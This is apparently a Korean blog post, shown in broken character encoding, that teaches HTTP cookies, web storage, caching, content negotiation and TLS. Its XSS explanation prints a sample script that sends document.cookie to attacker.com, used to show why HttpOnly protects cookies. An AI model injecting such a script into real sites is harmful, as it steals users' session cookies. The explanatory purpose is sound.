ยซ   2025/05   ยป
์ผ ์›” ํ™” ์ˆ˜ ๋ชฉ ๊ธˆ ํ† 
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
Archives
Recent Posts
05-10 13:12

Today
Total

Recent Comments
๊ด€๋ฆฌ ๋ฉ”๋‰ด

์—ฐ์˜ ๊ธฐ๋ก ๐Ÿช

์‘์šฉ๊ณ„์ธต - HTTP์˜ ์‘์šฉ(์ฟ ํ‚ค, ์บ์‹œ, ์ฝ˜ํ…์ธ  ํ˜‘์ƒ, ์ธ์ฆ, ๋ณด์•ˆ) ๋ณธ๋ฌธ

Computer Science/์ปดํ“จํ„ฐ ๋„คํŠธ์›Œํฌ

์‘์šฉ๊ณ„์ธต - HTTP์˜ ์‘์šฉ(์ฟ ํ‚ค, ์บ์‹œ, ์ฝ˜ํ…์ธ  ํ˜‘์ƒ, ์ธ์ฆ, ๋ณด์•ˆ)

kite707 2025. 4. 24. 20:58

์ฟ ํ‚ค

์•ž์„œ HTTP๋Š” ์Šคํ…Œ์ดํŠธ๋ฆฌ์Šค ํ”„๋กœํ† ์ฝœ์ด๋ผ๊ณ  ํ–ˆ์—ˆ๋‹ค. ๊ทธ๋ ‡๊ธฐ์— ๊ฐ™์€ ํด๋ผ์ด์–ธํŠธ์—์„œ ์š”์ฒญ์„ ๋‘ ๋ฒˆ ๋ณด๋‚ด๋„ ๋ณ„๊ฐœ์˜ ์š”์ฒญ์œผ๋กœ ํŒ๋‹จํ•œ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ํด๋ผ์ด์–ธํŠธ์˜ ์ƒํƒœ๋ฅผ ๊ธฐ์–ตํ•ด์•ผ ํ•  ๋•Œ๊ฐ€ ์žˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ์‚ฌ์šฉ์ž๊ฐ€ ํŠน์ • ์›น์‚ฌ์ดํŠธ์—์„œ ๋‹คํฌ๋ชจ๋“œ๋ฅผ ์ผฐ๋‹ค๊ณ  ๊ฐ€์ •ํ•˜์ž. ์ดํ›„ ์ด ์‚ฌ์šฉ์ž๊ฐ€ ๋‹ค์‹œ ์›น์‚ฌ์ดํŠธ์— ์ ‘์†ํ•˜๋ฉด ๋‹คํฌ๋ชจ๋“œ๋กœ ๋ณด์—ฌ์ง€๊ฒŒ ๋œ๋‹ค. ์ด๋Ÿฐ ์ •๋ณด๋Š” ์„œ๋ฒ„์ธก์—์„œ Set-Cookie: mode=dark ํ—ค๋”๋ฅผ ์ „๋‹ฌํ•˜๊ณ , ๋ธŒ๋ผ์šฐ์ €๋Š” ์ด๋ฅผ ๋ฐ›์•„ ์ €์žฅํ•ด๋‘”๋‹ค.

์ดํ›„ ๊ฐ™์€ ์„œ๋ฒ„๋กœ ์š”์ฒญ์„ ๋ณด๋‚ผ ๋•Œ ๋ฐ›์•˜๋˜ ์ฟ ํ‚ค๊ฐ’์„ ์ „๋‹ฌํ•œ๋‹ค. ์ฟ ํ‚ค๊ฐ’์ด ์—ฌ๋Ÿฌ๊ฐœ์ด๋ฉด ์„ธ๋ฏธ์ฝœ๋ก ์œผ๋กœ ๋‚˜๋ˆ„์–ด ์ „๋‹ฌํ•œ๋‹ค. (Cookie : mode=dark; message=test; . . .)

์œ„์—์„œ ๋ดค๋“ฏ์ด ์ฟ ํ‚ค๋Š” ์ด๋ฆ„=๊ฐ’ ํ˜•์‹์œผ๋กœ ์ €์žฅ๋˜๋Š”๋ฐ, ๊ทธ ์™ธ์—๋„ ๋„๋ฉ”์ธ๊ณผ ๊ฒฝ๋กœ, ์œ ํšจ๊ธฐ๊ฐ„๊ณผ ๊ฐ™์€ ์†์„ฑ์„ ์„ค์ •ํ•  ์ˆ˜ ์žˆ๋‹ค.

์•„๋ž˜์™€ ๊ฐ™์ด ์„ค์ •ํ•œ๋‹ค. Expires๋Š” ๋งŒ๋ฃŒ ์‹œ๊ฐ„์„ ๋ช…์‹œํ•˜๋Š” ๊ฒƒ์ด๊ณ , Max-Age๋Š” ์ดˆ ๋‹จ์œ„๋กœ ์œ ํšจ๊ธฐ๊ฐ„์„ ์„ค์ •ํ•˜๋Š” ๊ฒƒ์ด๋‹ค.

๊ทธ ์™ธ์—๋„ HttpOnly(Http๋กœ๋งŒ ์ ‘๊ทผ ๊ฐ€๋Šฅ), Secure(HTTPS๋กœ๋งŒ ์ฟ ํ‚ค ์†ก์ˆ˜์‹ )๋“ฑ์˜ ๋ณด์•ˆ ๊ด€๋ จ ์˜ต์…˜๋“ค๋„ ์žˆ๋‹ค. ์ฟ ํ‚ค์— HttpOnly ์„ค์ •์„ ํ•˜๋ฉด ํฌ๋กฌ ๊ฐœ๋ฐœ์ž๋ชจ๋“œ๋กœ๋„ ๋ณผ ์ˆ˜ ์—†๊ฒŒ ๋˜๋Š”๋ฐ(Http๋กœ ์กฐํšŒํ•˜๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๋‹ˆ๊นŒ) ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ๋กœ์˜ ์ ‘๊ทผ๋„ ์ฐจ๋‹จ๋˜๊ธฐ ๋•Œ๋ฌธ์— XSS์™€ ๊ฐ™์€ ๊ณต๊ฒฉ์—์„œ ์ฟ ํ‚ค ํƒˆ์ทจ๋ฅผ ๋ง‰์„ ์ˆ˜ ์žˆ๋‹ค.

XSS๋ž€?
์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์›น ์‚ฌ์ดํŠธ์— ์‚ฝ์ž…๋˜๋Š” ๊ฒƒ์ด๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ์•„๋ž˜์™€ ๊ฐ™์€ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์›น ์‚ฌ์ดํŠธ์— ์‚ฝ์ž…๋˜์—ˆ๋‹ค๊ณ  ์น˜์ž.
<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>โ€‹

 

๊ทธ๋Ÿฌ๋ฉด ์œ„ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‚ฝ์ž…๋œ ์›น ์‚ฌ์ดํŠธ์— ์ ‘์†ํ•  ๋•Œ ๋งˆ๋‹ค ์ฟ ํ‚ค๊ฐ’์€ ํ•ด์ปค์˜ ์„œ๋ฒ„๋กœ ์ „์†ก๋œ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ HttpOnly์„ค์ •์„ ํ•˜๋ฉด ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ๋กœ ์ฟ ํ‚ค์— ์ ‘๊ทผํ•  ์ˆ˜ ์—†๊ธฐ ๋•Œ๋ฌธ์— ์œ„์™€ ๊ฐ™์€ ๊ณต๊ฒฉ์—์„œ ์•ˆ์ „ํ•ด์ง€๋Š” ๊ฒƒ์ด๋‹ค.

 

์›น ์Šคํ† ๋ฆฌ์ง€ : ๋กœ์ปฌ ์Šคํ† ๋ฆฌ์ง€ vs ์„ธ์…˜ ์Šคํ† ๋ฆฌ์ง€

์ฟ ํ‚ค์™€๋Š” ๋น„์Šทํ•˜์ง€๋งŒ ์กฐ๊ธˆ ๋‹ค๋ฅธ ๊ฐœ๋…์œผ๋กœ ์›น ์Šคํ† ๋ฆฌ์ง€๋ผ๋Š” ๊ฒƒ์ด ์žˆ๋‹ค. ์›น ์Šคํ† ๋ฆฌ์ง€๋Š” ์›น ๋ธŒ๋ผ์šฐ์ € ๋‚ด์˜ ์ €์žฅ ๊ณต๊ฐ„์œผ๋กœ, ์ผ๋ฐ˜์ ์œผ๋กœ ์ฟ ํ‚ค๋ณด๋‹ค ๋” ํฐ ๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•  ์ˆ˜ ์žˆ๋‹ค. ์ฟ ํ‚ค๋Š” ๊ฐœ๋‹น ์•ฝ 4KB์˜ ๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•  ์ˆ˜ ์žˆ๋Š”๋ฐ ์›น ์Šคํ† ๋ฆฌ์ง€๋Š” 5MB๊นŒ์ง€ ์ €์žฅํ•  ์ˆ˜ ์žˆ๋‹ค. ์•ž์„œ ๋ดค๋“ฏ์ด ์ฟ ํ‚ค๋Š” ์„œ๋ฒ„์— ์ž๋™์œผ๋กœ ์ „์†ก๋˜๊ธฐ ๋•Œ๋ฌธ์— ํฐ ๋ฐ์ดํ„ฐ๋ฅผ ๋‹ด์„ ์ˆ˜ ์—†๋‹ค.

์ด ์›น ์Šคํ† ๋ฆฌ์ง€๋Š” ๋กœ์ปฌ ์Šคํ† ๋ฆฌ์ง€์™€ ์„ธ์…˜ ์Šคํ† ๋ฆฌ์ง€๋กœ ๋‚˜๋‰œ๋‹ค. ๋กœ์ปฌ ์Šคํ† ๋ฆฌ์ง€๋Š” ๋ณ„๋„๋กœ ์‚ญ์ œํ•˜์ง€ ์•Š๋Š” ์ด์ƒ ์˜๊ตฌ์ ์œผ๋กœ ์ €์žฅ์ด ๊ฐ€๋Šฅํ•˜๊ณ , ์„ธ์…˜ ์Šคํ† ๋ฆฌ์ง€๋Š” ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์—ด๋ ค์žˆ๋Š” ๋™์•ˆ ์ •๋ณด๊ฐ€ ์œ ์ง€๋œ๋‹ค.

 

์บ์‹œ

์บ์‹œ๋Š” ์‘๋‹ต๋ฐ›์€ ์ž์›์˜ ์‚ฌ๋ณธ์„ ์ž„์‹œ๋กœ ์ €์žฅํ•ด๋‘๋Š” ๊ฒƒ์ด๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ์‚ฌ์ง„ A๊ฐ€ ์ž์ฃผ ์กฐํšŒ๋œ๋‹ค๋ฉด ์ด๋ฅผ ํด๋ผ์ด์–ธํŠธ(๋ธŒ๋ผ์šฐ์ €)๋‚˜ ์บ์‹œ ์„œ๋ฒ„์— ์ €์žฅํ•ด๋‘๊ณ , A๋ฅผ ์š”์ฒญํ•  ๋•Œ ๋งˆ๋‹ค ์บ์‹œํ•ด๋‘” ๊ณณ์—์„œ ๋ถˆ๋Ÿฌ์˜ค๋ฉด ๋”์šฑ ๋น ๋ฅธ ์‘๋‹ต์„ ํ•  ์ˆ˜ ์žˆ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ๋ฌธ์ œ๋Š” ์บ์‹œ์™€ ์›๋ณธ์ด ๋‹ฌ๋ผ์ง€๋Š” ๊ฒฝ์šฐ์ด๋‹ค. ๊ทธ๋ ‡๊ธฐ์— ์บ์‹œ์—๋Š” ๋Œ€๋ถ€๋ถ„ ์œ ํšจ๊ธฐ๊ฐ„์ด ์„ค์ •๋˜์–ด์žˆ๋‹ค. ์ด ์œ ํšจ๊ธฐ๊ฐ„์€ ์ฟ ํ‚ค์™€ ๊ฐ™์ด Expires๋ฅผ ํ†ตํ•ด ๋ช…์‹œ์ ์œผ๋กœ ๋งŒ๋ฃŒ ๋‚ ์งœ๋ฅผ ๋ถ€์—ฌํ•  ์ˆ˜๋„ ์žˆ๊ณ  Max-Age๊ฐ’์„ ํ†ตํ•ด ์ดˆ ๋‹จ์œ„๋กœ ์„ค์ •ํ•  ์ˆ˜๋„ ์žˆ๋‹ค.

์ด๋ ‡๊ฒŒ ์„ค์ •ํ•œ ์œ ํšจ๊ธฐ๊ฐ„์ด ๋งŒ๋ฃŒ๋˜๋ฉด ์›๋ณธ์ด ๋ณ€๊ฒฝ๋œ ์ ์ด ์žˆ๋Š”์ง€๋ฅผ ํ™•์ธํ•œ๋‹ค. ์›๋ณธ ๋ณ€๊ฒฝ ์—ฌ๋ถ€๋Š” ๋‚ ์งœ ๋˜๋Š” ์—”ํ‹ฐํ‹ฐ ํƒœ๊ทธ๋ผ๋Š” ๊ฒƒ์„ ์ด์šฉํ•ด ํ™•์ธํ•œ๋‹ค. ๋‹จ์ˆœํ•˜๊ฒŒ ๋งˆ์ง€๋ง‰ ์ˆ˜์ •์ผ์ด ์„œ๋กœ ์ผ์น˜ํ•˜๊ฑฐ๋‚˜, ์—”ํ‹ฐํ‹ฐ ํƒœ๊ทธ๊ฐ€ ๊ฐ™๋‹ค๋ฉด ์›๋ณธ์ด ์ˆ˜์ •๋œ ์ ์ด ์—†๋Š” ๊ฒƒ์ด๋‹ค. ๊ทธ๋Ÿฌ๋ฉด ์บ์‹œ๋œ ๊ฐ’์„ ์‚ฌ์šฉํ•ด๋„ ๋œ๋‹ค. ๋งŒ์•ฝ ์›๋ณธ์ด ๋ณ€๊ฒฝ๋˜์—ˆ๋‹ค๋Š” ๊ฒƒ์„ ํ™•์ธํ–ˆ๋‹ค๋ฉด ์บ์‹œ๋ฅผ ๊ฐฑ์‹ ํ•ด์ฃผ๋ฉด ๋œ๋‹ค.

ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์›๋ณธ์ด ๋ณ€๊ฒฝ๋˜์—ˆ๋Š”์ง€ ์งˆ์˜ํ•  ๋•Œ๋Š” ํ—ค๋”์˜ If-Modified-Since(๋‚ ์งœ) ๋˜๋Š” If-None-Match(์—”ํ‹ฐํ‹ฐ ํƒœ๊ทธ)๊ฐ’์„ ํ™œ์šฉํ•œ๋‹ค. ์„œ๋ฒ„๋Š” ์ด๋ฅผ ๋ณด๊ณ  ์›๋ณธ์ด ๋ณ€๊ฒฝ๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•˜๊ณ  ๋ณ€๊ฒฝ๋˜์—ˆ์„ ๊ฒฝ์šฐ 200๊ณผ ํ•จ๊ป˜ ์ƒˆ๋กœ์šด ์›๋ณธ์„ ๋ฆฌํ„ดํ•œ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ๋ณ€๊ฒฝ๋˜์ง€ ์•Š์•˜์œผ๋ฉด 304(Not Modified)์ฝ”๋“œ์™€ ์ž์›์˜ ๋งˆ์ง€๋ง‰ ๋ณ€๊ฒฝ ์‹œ์ ์„ ๋ฆฌํ„ดํ•œ๋‹ค. ์›๋ณธ์ด ์‚ฌ๋ผ์ ธ์žˆ๋Š” ๊ฒฝ์šฐ๋„ ์žˆ์„ ์ˆ˜ ์žˆ๋‹ค. ์ด ๊ฒฝ์šฐ์—” 404(Not Found)๋ฅผ ๋ฆฌํ„ดํ•œ๋‹ค.

 

์ฝ˜ํ…์ธ  ํ˜‘์ƒ

์ฝ˜ํ…์ธ  ํ˜‘์ƒ์€ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ๊ฐ€์žฅ ์„ ํ˜ธํ•˜๋Š” ๋ฐฉ์‹์˜ ์ž์›์„ ์ œ๊ณตํ•˜๋Š” ๊ฒƒ์ด๋‹ค. ๋Œ€ํ‘œ์ ์ธ ์˜ˆ๋กœ ์ธ์ฝ”๋”ฉ์ด ์žˆ๋‹ค.

ํด๋ผ์ด์–ธํŠธ๋Š” Accept ~~~ ํ—ค๋”๋ฅผ ํ†ตํ•ด ์„ ํ˜ธํ•˜๋Š” ๋ฏธ๋””์–ดํƒ€์ž…, ์–ธ์–ด, ์ธ์ฝ”๋”ฉ๋ฐฉ์‹ ๋“ฑ์„ ์ „๋‹ฌํ•œ๋‹ค. ์ด๋•Œ q(Quality Value)๊ฐ’์œผ๋กœ ์„ ํ˜ธ๋„๋ฅผ ํ‘œ๊ธฐํ•˜๊ธฐ๋„ ํ•œ๋‹ค. (ex)ํ•œ๊ตญ์–ด๋ฅผ 1๋งŒํผ, ์˜์–ด๋ฅผ 0.9๋งŒํผ ์„ ํ˜ธํ•œ๋‹ค.

 

๋ณด์•ˆ : SSL/TLS์™€ HTTPS

HTTPS๋Š” HTTP+SSL or TLS ์ด๋‹ค. SSL๊ณผ TLS๋Š” ๋ชจ๋‘ ์ธ์ฆ, ์•”ํ˜ธํ™”๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š” ํ”„๋กœํ† ์ฝœ์ด๋ฉฐ TLS๋Š” SSL์„ ๊ณ„์Šนํ•œ ํ”„๋กœํ† ์ฝœ์„ ๋งํ•œ๋‹ค. SSL๊ณผ TLS๋Š” ๊ฐ๊ฐ ์—ฌ๋Ÿฌ ๋ฒ„์ „์ด ์žˆ์ง€๋งŒ ์˜ค๋Š˜๋‚ ์€ TLS 1.2์™€ TLS 1.3์„ ์ฃผ๋กœ ์‚ฌ์šฉํ•œ๋‹ค.

TLS 1.3๊ธฐ๋ถ„ HTTP ๋ฉ”์‹œ์ง€๋Š” 3 way handshake → TLS handshake → ๋ฉ”์‹œ์ง€ ์†ก์ˆ˜์‹  ์ˆœ์œผ๋กœ ์ฒ˜๋ฆฌ๋œ๋‹ค. TLS handshake ๊ณผ์ •์€ ์•„๋ž˜์™€ ๊ฐ™๋‹ค.